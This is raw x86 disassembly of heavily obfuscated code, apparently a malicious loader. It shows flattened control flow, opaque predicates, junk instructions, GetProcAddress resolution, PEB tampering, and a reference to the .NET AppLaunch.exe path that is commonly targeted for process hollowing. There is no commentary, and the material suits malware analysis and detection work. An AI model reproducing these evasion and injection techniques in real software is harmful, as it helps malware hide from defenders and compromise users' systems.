or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x7dbd4a44
sete cl
setne dh
cmp dword [0x493580], 0xa
setge al
setl ch
mov dl, al
mov ah, al
or al, dh
xor ch, cl
xor al, 1
xor dl, dh
or ah, cl
or al, ch
xor al, 1
or al, dl
and dl, cl
xor dl, 1
mov ecx, edx
or dl, ah
xor cl, ah
xor dl, 1
or dl, cl
mov ecx, eax
mov ch, dl
xor cl, 1
xor ch, 1
and cl, ch
or ch, al
and al, dl
mov edx, 0xb0c040e3
or al, cl
mov cl, al
xor cl, ch
test al, 1
mov eax, 0xb0c040e3
jmp 0x413820
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe4]
add eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov ecx, dword [eax + ecx*4]
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x98021441
and ecx, 0x23adeba6
and eax, 0x44500018
or edx, eax
xor edx, 0x98021441
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xc7179611
and eax, 0x38e869ee
or ecx, eax
mov edi, ecx
xor edi, 0x1b458248
xor ecx, 0xe4ba7db7
mov eax, ecx
mov edx, edi
and eax, 0xf96bb79c
and edx, 0x6944863
or ecx, 0xeaae8790
and edi, 0x550204d
or edx, eax
mov eax, edx
mov ebx, edx
xor eax, 0x6944863
xor ebx, 0x13c5300c
xor edx, 0xb041948c
and ebx, eax
mov dword [ebp - 0x6c], eax
and edx, 0xb051dc8f
mov eax, ebx
not eax
and ebx, 0x2df4a54d
mov esi, eax
and esi, 0xd20b5ab2
or eax, ecx
and ecx, 0xd20b5ab2
or ebx, esi
mov esi, dword [ebp - 0x6c]
or edi, ecx
not eax
xor edi, ebx
or eax, edi
mov ecx, eax
not ecx
and eax, 0x66cc0d24
and ecx, 0x9933f2db
movzx edi, si
and esi, 0x4fae2370
or eax, ecx
or esi, edx
mov ecx, eax
xor ecx, 0xc424501
xor eax, 0x739d8ab4
xor esi, 0xb0512370
and ecx, 0x2d424d15
or edi, esi
mov edx, edi
not edx
and edi, 0xebd99e3f
and edx, 0x142661c0
or edi, edx
mov edx, eax
and edx, 0xd2bdb2ea
or ecx, edx
mov edx, edi
xor edx, 0x29400c15
xor edi, 0x142661c0
or eax, edi
and edi, 0xd2bdb2ea
and edx, 0x2d424d15
or edx, edi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x80600808
and eax, 0x7f9d73e7
and ecx, 0x28410
or edx, ecx
xor edx, 0x80600808
or eax, edx
mov ecx, eax
not ecx
and eax, 0x13eb71e
and ecx, 0xfec148e1
or eax, ecx
mov ecx, dword [ebp - 0x80]
xor eax, 0x815c3b06
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, 0x25ef9732
jmp 0x4021f0
mov eax, 0xd411acc9
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x84677bc6
mov ecx, edx
and ecx, 0x7b988438
and edx, 0xeafecdad
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0x15013252
xor esi, 0x84677bc6
or eax, edx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x2ce57d71
mov esi, edx
and esi, 0xd31a828e
or ecx, esi
mov esi, eax
xor esi, 0x4013050
xor eax, 0xc21a808c
and eax, 0xd31a828e
and esi, 0x2ce57d71
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x9d7a6aa6
setne cl
sete dl
cmp dword [0x493580], 0xa
mov ch, cl
setl ah
setge al
and ah, cl
mov cl, al
xor ch, al
or cl, dl
and ch, dl
xor cl, 1
or cl, ch
mov ch, al
xor ch, dl
and ch, al
and al, dl
or al, ah
xor ch, 1
xor al, 1
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xf5deb41e
cmovne eax, esi
test dl, dl
mov edx, 0xf5deb41e
jmp 0x410688
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x54024084
and ecx, 0x88488a31
or edx, ecx
mov ecx, eax
and ecx, 0x23b5354a
xor edx, 0x54024084
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x83cf3bad
and edx, 0x7c30c452
or ecx, edx
mov edx, ecx
xor edx, 0x5f85f119
xor ecx, 0xa07a0ee6
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0x317d5ea
xor ecx, edx
test ecx, edx
setne ah
sete ch
cmp dword [0x493580], 0xa
setge dl
setl cl
mov al, dl
and cl, ah
xor al, ch
and ch, dl
or cl, ch
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor cl, 1
or dl, ch
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor dl, 1
and dl, al
xor al, 1
and cl, al
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0x627e5ce
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x627e5ce
jmp 0x413940
mov eax, 0xe21a1cda
jmp 0x4021f0
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x114], eax
mov eax, 0x263cffdb
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xf8072d72
and eax, 1
mov esi, ecx
and esi, 0x7f8d28c
or edx, esi
mov esi, edx
xor esi, 0x40060562
xor edx, 0x168100c
or eax, esi
and edx, 0xb969381c
mov esi, 0x5632625a
and eax, 0x4696c7e3
or eax, edx
xor eax, 0x4696c7e3
or eax, ecx
xor eax, 0xffffffff
sete ah
setne cl
cmp dword [0x493580], 0xa
setge ch
setl dl
xor cl, ch
or dl, ah
or ch, ah
mov al, cl
xor cl, 1
and al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
mov dh, al
or al, ch
mov dl, cl
xor dh, ch
xor al, 1
xor dl, 1
or al, dh
mov ah, dl
and ah, cl
xor ah, 1
mov ch, ah
or ah, cl
xor ch, cl
xor ah, 1
mov cl, al
or ah, ch
xor cl, 1
and cl, ah
xor ah, 1
and ah, al
or ah, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, 0x7762456
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0x7762456
jmp 0x4021e0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2082382c
and eax, 0xd17c4643
and ecx, 0xe018190
or edx, ecx
xor edx, 0x2082382c
or eax, edx
mov ecx, eax
not ecx
and eax, 0xeba441d7
and ecx, 0x145bbe28
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x5256840
xor esi, 0x3ad80794
xor eax, 0x525882a
mov ecx, esi
or ecx, 1
and esi, 0xea9293bf
and edx, 0x156d6c40
and eax, 0x17a58fae
or edx, esi
mov esi, ecx
and esi, 0xe85a7050
or eax, esi
mov esi, edx
xor esi, 0x15250c01
xor edx, 0xea9293be
or ecx, edx
and edx, 0xe85a7050
and esi, 0x17a58faf
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x6fce8ca9
mov edx, ecx
xor edx, 0xd26832a7
mov eax, ecx
and eax, 0xd2202003
and edx, ecx
not ecx
and ecx, 0x4812a4
or eax, ecx
xor eax, 0xd2202003
or eax, edx
not edx
and edx, 0x2d97cd58
and eax, 0xd26832a7
or eax, edx
setne ah
sete dl
cmp dword [0x493580], 0xa
mov dh, ah
setge ch
setl al
mov cl, ch
and dh, al
xor al, ah
and cl, dl
xor dl, ch
and dl, ch
or cl, dh
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xc9e8b429
cmovne eax, esi
test dl, 1
mov edx, 0xc9e8b429
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x4021f0
mov eax, 0x64b0dfb
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 2
mov eax, 0x68e7344f
jmp 0x4021f0
cmp byte [ebp - 0xa3], 0
mov eax, 0x51d2648b
mov ecx, 0xa0a4b1cb
cmovne eax, ecx
jmp 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x3527c43c
and eax, 0xcad83bc3
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x585338d4
and eax, 0xa7acc72b
or ecx, eax
mov eax, ecx
xor ecx, 0x6d74fce8
xor eax, 0x928b0317
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x20c20001
and eax, 0x89059e4c
mov edx, ecx
or edx, 0x44384112
and esi, 0x64fa4113
and ecx, 0x120020a0
and edx, 0x64fa4113
or ecx, esi
mov esi, 0x10e02799
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x7a212738
and ecx, 0x85ded8c7
or eax, ecx
mov ecx, eax
xor ecx, 0x24000600
xor eax, 0xd3e6b975
mov edx, eax
and edx, 0xbbfd0da
and ecx, 0xf4402f25
or ecx, edx
xor ecx, 0xbbfd0da
xor eax, ecx
test eax, ecx
setne dl
sete dh
cmp dword [0x493580], 0xa
mov ah, dl
setge cl
setl al
mov ch, cl
and ah, al
or al, dl
and ch, dh
or dh, cl
mov ebx, eax
or ah, ch
mov ch, cl
or cl, dl
or al, dh
xor bl, dh
xor ch, dl
xor cl, 1
xor al, 1
or cl, ch
or al, bl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x8a6759d9
cmovne eax, esi
test dl, 1
mov edx, 0x8a6759d9
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x4021f0
mov eax, 0xf6bba62b
jmp 0x4021f0
mov eax, dword [ebp - 0x118]
mov ecx, dword [0x493584]
mov edi, 0x6278d228
add eax, 0x18
mov dword [ebp - 0x16c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x7a32e498
and ecx, 1
mov esi, edx
and edx, 0x85cd1b67
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x3f2499a0
mov edx, eax
xor edx, 0x7a32e498
xor eax, 0x85cd1b67
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne ch
cmp dword [0x493580], 0xa
mov al, ch
setge ah
inc al
mov dl, ah
mov cl, ah
mov dh, al
inc dl
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
xor cl, 1
xor dh, cl
or cl, ch
and dh, ch
xor cl, 1
or cl, dh
mov dh, ch
and dh, al
xor dh, 1
or dh, al
or al, dl
xor dh, 1
xor al, 1
or dh, ch
mov ch, dh
xor dh, 1
and ch, dl
and dh, ah
mov dl, cl
or al, ch
xor dl, 1
or al, dh
mov ah, al
xor ah, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6278d228
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, edi
jmp 0x412652
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xde6d1d1b
mov eax, edx
and eax, 0x76b8d01d
and ecx, edx
not edx
and edx, 0x89472fe2
or eax, edx
mov edx, eax
xor eax, 0x88450d02
xor edx, 0x54281019
or eax, 0x2192e2e4
and edx, 0xdc6d101b
mov esi, eax
and esi, 0x382af24
or edx, esi
mov esi, ecx
not esi
and ecx, 0xfc7d50db
or eax, esi
and esi, 0x382af24
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb1404bcf
and ecx, 0x4ebfb430
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x90908022
xor ecx, 0x6f2d56d4
xor eax, 0x58af3053
mov esi, ecx
and edx, 0x909884f2
and esi, 0x6f677b0d
and eax, ecx
or esi, edx
mov ecx, esi
mov edx, esi
xor ecx, 0x6f677b0d
xor edx, 0xa71ae275
xor esi, 0x809800d0
and edx, ecx
and esi, 0xe4b840dc
or eax, edx
mov edx, eax
not edx
and eax, 0x37826686
and edx, 0xc87d9979
or eax, edx
mov edx, ecx
and edx, 0x1b47bf23
and ecx, 1
or edx, esi
mov esi, 0x26c507cb
xor edx, 0xe4b840dd
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x5a848b8e
and edx, 0xa57b7471
or ecx, edx
xor ecx, 0x5a848b8e
or ecx, eax
mov eax, ecx
xor eax, 0xb711b991
and eax, ecx
not ecx
and ecx, 0xb711b991
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe5890da4
and ecx, 0x1a76f25b
or eax, ecx
mov ecx, eax
xor ecx, 0x42102431
xor eax, 0xad674bca
mov edx, eax
and edx, 0x30cf9204
and ecx, 0xcf306dfb
or ecx, edx
xor ecx, 0x30cf9204
xor eax, ecx
test eax, ecx
setne cl
sete dl
cmp dword [0x493580], 0xa
setl al
setge ah
and cl, al
and ah, dl
or al, dl
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ch, al
xor ch, 1
mov ah, ch
and ah, al
xor ah, 1
or ah, al
or al, dl
xor ah, 1
or ah, ch
mov ch, ah
xor ah, 1
and ah, cl
and ch, dl
mov cl, al
mov edx, 0xc1eb35da
or ah, ch
xor cl, ah
test al, 1
cmovne edx, esi
test ah, ah
mov eax, 0xc1eb35da
cmove edx, esi
test cl, 1
jmp 0x412e2d
mov eax, 0xc18e3dfa
jmp 0x4021f0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x11c]
mov esi, 0x51091df4
mov dword [eax], ecx
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xfffffffe
mov edx, eax
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x79b17916
and ecx, 0x864e86e9
or eax, ecx
mov ecx, eax
xor ecx, 0x30912016
xor eax, 0x20c02c8
and eax, 0x4b2c5bc8
and ecx, 0xb4d3a437
or ecx, eax
mov eax, ecx
xor eax, 0x48041ac8
xor ecx, 0xb4d3a437
mov edx, ecx
and edx, 0x177ae520
and eax, 0xe8851adf
or eax, edx
xor eax, 0x177ae520
xor ecx, eax
test ecx, eax
sete dl
setne cl
cmp dword [0x493580], 0xa
setge ah
setl al
mov ch, ah
xor al, dl
xor cl, ah
xor ch, dl
and ch, ah
mov ah, cl
or al, ch
mov edx, eax
and ah, al
xor dl, 1
mov ch, dl
or dl, cl
xor cl, 1
xor al, cl
xor dl, 1
and ch, cl
or dl, al
or ah, ch
mov ecx, 0x349fbfc8
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, ah
cmove ecx, esi
test al, 1
mov eax, 0x349fbfc8
jmp 0x4021e0
inc edx
mov edx, 0x1d
sbb ebx, 0xb2
or ebx, 0xc2
inc esi
neg eax
rcr edi, 0xa3
dec eax
or eax, 0x9b
rol esi, 0x6e
sbb esi, 0x98
bswap edx
inc edx
inc edi
neg edi
inc edx
inc ebx
sbb ebx, 0x37
and ebx, 0xcd
neg esi
rcr edx, 0xf5
imul edx
imul edx
sbb esi, 0x89
ror ebx, 0x1a
sub esi, 0xdf
neg esi
or ebx, 0x5d
not esi
rol edi, 0xb8
neg eax
ror esi, 0xf2
bswap ebx
dec edi
sub ebx, 0x84
ror ebx, 0xca
bswap ebx
rcr edx, 0x8e
dec eax
rol edi, 0xa1
dec esi
and eax, 0x84
or ebx, 0xa1
dec esi
inc eax
bswap eax
neg edx
inc eax
inc edi
inc eax
bswap esi
sub esi, 0xc7
not edx
neg esi
dec ebx
dec edx
ror edi, 0xf0
ror esi, 0x5a
sub ebx, 0xca
imul edx
inc edx
inc edx
inc edi
not eax
bswap eax
sub edi, 0xb2
inc esi
sub eax, 0x86
sbb esi, 0xe3
not esi
inc edx
bswap eax
mov esi, 0xe7
bswap eax
neg eax
neg edi
sub ebx, 0x27
add edx, 0xdc
ror eax, 0x1e
ror edx, 0x69
rcl esi, 0x38
neg esi
neg esi
inc edx
dec eax
inc esi
sbb edi, 0xfa
bswap eax
sub eax, 0xa5
and ebx, 0x9d
rcl edx, 0x21
mov esi, 0x81
sbb edi, 0xb3
rcl ebx, 0x60
dec edi
mov esi, 0x57
ror ebx, 0xc8
sbb edx, 0xf6
bswap edi
rol edx, 0xb9
imul ebx
rcl ebx, 0xa5
dec ebx
imul eax
rcr ebx, 0x49
sbb ebx, 0x96
sub edx, 0xf2
inc edi
rcr eax, 0xf9
rcr esi, 0xdc
rcr ebx, 0xe2
imul ebx
not eax
or edx, 0x44
and eax, 0xb6
rol eax, 0xcf
not edi
rcl esi, 0x6d
add esi, 0x57
rcr esi, 0xb1
neg esi
dec eax
mov edx, 0xe5
bswap edx
or esi, 0x2a
and eax, 0x4d
rol ebx, 0x3b
dec edi
and esi, 0xa0
imul edx
not ebx
bswap esi
imul esi
not esi
rcr ebx, 0xa8
dec edi
bswap esi
sbb ebx, 6
sub edx, 0x1f
not edx
add ebx, 0xa4
sub edx, 0x57
inc esi
ror edx, 0x73
sbb esi, 0x6f
rol eax, 0x46
imul edx
sbb ebx, 0x39
rcr eax, 0xfd
imul esi
mov ecx, dword [ebp - 0x1c]
vmovups ymm1, ymmword [0x4401b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x4401d0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x60]
add eax, 0xfffffff8
mov dword [ecx], eax
and eax, 0
not edi
rcr edx, 0x29
or esi, 0xc2
neg edx
rcr edi, 0xd3
sbb edi, 0x85
rcl edx, 0xb9
neg edx
imul eax
dec edx
or edx, 0xd8
rol esi, 0x19
not edx
rol edi, 0xaa
imul edx
sbb ebx, 0xbe
imul ebx
not ebx
rcr esi, 0x7b
rol edx, 0x5d
or eax, 0x7b
mov eax, 0xa0
inc ebx
or ebx, 2
not edx
not eax
inc ebx
not eax
sub eax, 0x21
dec edx
and esi, 0x7f
imul eax
mov ebx, 0x31
not ebx
sbb esi, 0xd9
bswap eax
or edi, 0x38
imul ebx
neg ebx
not edi
ror edx, 0x7c
or edi, 0x1a
not eax
add edx, 0xe3
bswap ebx
dec eax
dec esi
imul esi
rcl esi, 0xa5
imul edi
and eax, 0xa
neg edi
dec ebx
rol eax, 0xf6
add esi, 0x2d
neg edi
rcl eax, 0x17
add edx, 0x51
mov esi, 0x75
and edi, 0x38
bswap edx
sbb edi, 0x22
dec eax
imul ebx
inc esi
inc edx
not eax
add eax, 0x9a
or edx, 0xe5
dec edi
inc eax
dec ebx
neg edx
imul esi
sub eax, 0x98
dec esi
inc edx
neg eax
imul eax
add eax, 0x75
imul esi
rcl edi, 0x36
not edi
not ebx
inc edi
ror edi, 0x57
or ebx, 0x82
not ebx
rcl ebx, 0xc5
neg edx
rol edi, 0xa1
imul eax
ror edi, 0xea
sbb edx, 0xc
inc ebx
dec edx
not esi
rol edi, 0x72
inc ebx
inc edx
or edx, 0x84
not eax
bswap edx
inc eax
neg ebx
not ebx
dec edx
bswap eax
not ebx
rcr eax, 0x75
rcr ebx, 0xe0
and ebx, 0xe1
dec edx
not esi
neg edx
not edi
dec esi
sbb eax, 0x25
dec eax
neg ebx
add ebx, 0x5f
neg esi
imul ebx
neg edi
not esi
not eax
inc ebx
and edx, 0xed
not edi
neg eax
sbb esi, 0x17
dec ebx
not edi
imul esi
sub ebx, 0x3c
dec edx
sbb edi, 0xc9
sub edi, 0x6b
and edi, 0x8f
inc esi
bswap esi
add edi, 0x1f
mov ebx, 0xe3
rcr edx, 0xc0
imul edx
sub edx, 0xc8
rol eax, 0x10
mov edx, 0xb9
and edx, 0x73
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
add eax, 0x24
mov dword [ecx], eax
bswap eax
imul ebx
dec ebx
bswap edx
neg edx
rcr eax, 0x80
neg ebx
or edx, 0x6c
add edi, 0xd2
imul eax
neg esi
inc ebx
imul eax
bswap edx
and ebx, 0x59
mov ebx, 0xfd
sub edi, 0x8d
and ebx, 0x6c
dec edx
inc eax
inc ebx
add edx, 0xc3
inc edx
bswap esi
rcr esi, 0xbb
neg ebx
neg edi
ror eax, 0xd
sbb eax, 0x18
sbb edx, 0xe4
rcr ebx, 0x4a
rcl edx, 0xba
not edx
or esi, 0xb9
not esi
and edx, 0x58
dec edi
inc esi
bswap eax
imul eax
sbb ebx, 0xee
and edx, 0x46
neg ebx
neg esi
add eax, 0x58
dec esi
neg edi
sbb edi, 0xa8
rcr esi, 0xde
add edx, 0xbc
or eax, 0x8c
dec edx
add eax, 0x18
sub edi, 0xc9
sub edx, 0x31
not edx
bswap edx
not edx
bswap edx
imul edi
not edi
rol ebx, 0x4e
imul edx
dec edx
and ebx, 0x82
rcl edx, 0x59
rcl eax, 0x4e
neg edi
mov edx, 0x99
neg edi
mov ebx, 0x81
imul edi
rcl edi, 0x7a
sub eax, 0x1e
neg ebx
rcl edi, 0xc9
bswap edi
inc eax
sub edx, 0x1a
imul edx
bswap eax
not edx
sub ebx, 0xe4
imul eax
and edi, 0xa6
neg ebx
not edi
neg esi
inc edi
not ebx
rol esi, 0xa1
dec edi
bswap ebx
not edi
inc eax
imul ebx
ror eax, 0x9b
sub edx, 0xd3
imul eax
add edi, 0xe2
sbb eax, 0x80
neg edx
ror esi, 0xc8
inc eax
ror edx, 0x68
bswap eax
sbb eax, 0x7a
inc edx
sub esi, 4
or ebx, 0x34
and edx, 0xc7
add esi, 3
bswap ebx
not esi
dec eax
rcl edi, 0xc8
not edi
rcl esi, 0xa7
dec edi
imul esi
and edx, 0xa3
not edx
sbb esi, 9
dec edi
or edi, 0xef
inc ebx
rcr eax, 0x20
not edi
bswap ebx
bswap edx
sub ebx, 0x25
not esi
rol eax, 0x88
rcr eax, 0x79
and eax, 0x86
or edx, 0xd4
dec esi
inc ebx
dec ebx
dec eax
not ebx
ror ebx, 0x57
rcr edx, 0xa8
bswap esi
and ebx, 0x7f
mov ebx, 0x3a
imul edx
sbb eax, 0xa8
mov edi, 0x53
or edx, 0xed
mov ecx, dword [ebp - 0x1c]
mov edi, 0xd6c6f0e9
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x4401e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x493584]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x55]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x1af1ab56
and eax, 0xe50e54a9
or ecx, eax
xor ecx, 0x1af1ab56
or edx, ecx
mov ecx, edx
xor ecx, 0xafd38caf
mov eax, edx
not eax
andn esi, edx, ecx
mov ecx, edx
and ecx, 0x502c7350
and edx, 0x6f8c8be6
and eax, 0x90737418
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xafd38cae
and esi, 0x502c7351
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x5591c359
mov esi, edx
and esi, 0xaa6e3ca6
or ecx, esi
mov esi, eax
xor esi, 0x10114018
xor eax, 0x6f8c8be7
or edx, eax
and eax, 0xaa6e3ca6
and esi, 0x5591c358
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov ecx, edx
xor ecx, 0x87ed9853
mov eax, edx
and eax, 0x1dfce758
and ecx, edx
not edx
and edx, 0xe20318a7
or eax, edx
mov edx, eax
xor eax, 0x82011803
xor edx, 0x4e40000
mov esi, eax
or esi, 0x70100388
and edx, 0x4e50002
and esi, 0xf3189bd9
or edx, esi
mov esi, ecx
not esi
and ecx, 0xce76426
or eax, esi
and esi, 0xf3189bd9
or ecx, esi
not eax
mov esi, 0x3f0a8e13
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x781267ac
and eax, 0x87ed9853
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xea30d527
and ecx, 0x15cf2ad8
or eax, ecx
mov ecx, eax
xor ecx, 0xca301424
xor eax, 0x148b0ac0
and eax, 0x348bcbc3
and ecx, 0xcb74343c
or ecx, eax
xor ecx, 0xcb74343c
sete ah
setne dl
cmp dword [0x493580], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xd6c6f0e9
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x4021f0
mov eax, dword [ebp - 0x20]
mov eax, 0x9d7a6aa6
jmp 0x4021f0
mov eax, dword [ebp - 0x30]
mov eax, 0x840ad53a
jmp 0x4021f0
cmp byte [ebp - 0xa0], 0
mov eax, 0xb0404c58
mov ecx, 0xdb96d242
cmovne eax, ecx
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, 0x55e6d76d
jmp 0x4021f0
mov eax, 0x6ac7dd90
jmp 0x4021f0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xac]
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 8
mov dword [ecx], eax
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x860c9633
mov ecx, eax
and ecx, 0x8293469
andn edx, eax, edx
not eax
and eax, 0xf7d6cb96
or eax, ecx
mov ecx, eax
xor ecx, 0x71d24984
xor eax, 0x8293468
and ecx, 0x79f369cc
and eax, 0xfffffffe
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x8297ec2d
and ecx, 0x7d6813d2
or edx, ecx
xor edx, 0xfb6485e0
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x1a5e3917
mov esi, eax
or esi, 0x840006e8
and ecx, eax
and esi, 0x84083eed
and edx, 0x1a560112
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7bf7c112
or eax, esi
and esi, 0x84083eed
or ecx, esi
not eax
mov esi, 0xedadb715
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xe5a1c6e8
and eax, 0x1a5e3917
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xda21a25b
and ecx, 0x25de5da4
or eax, ecx
mov ecx, eax
xor ecx, 0xd8012043
xor eax, 0x204a5404
and eax, 0x226ad61c
and ecx, 0xdd9529e3
or ecx, eax
mov eax, ecx
xor eax, 0x2425210
xor ecx, 0x90110902
and ecx, 0xb0398d0e
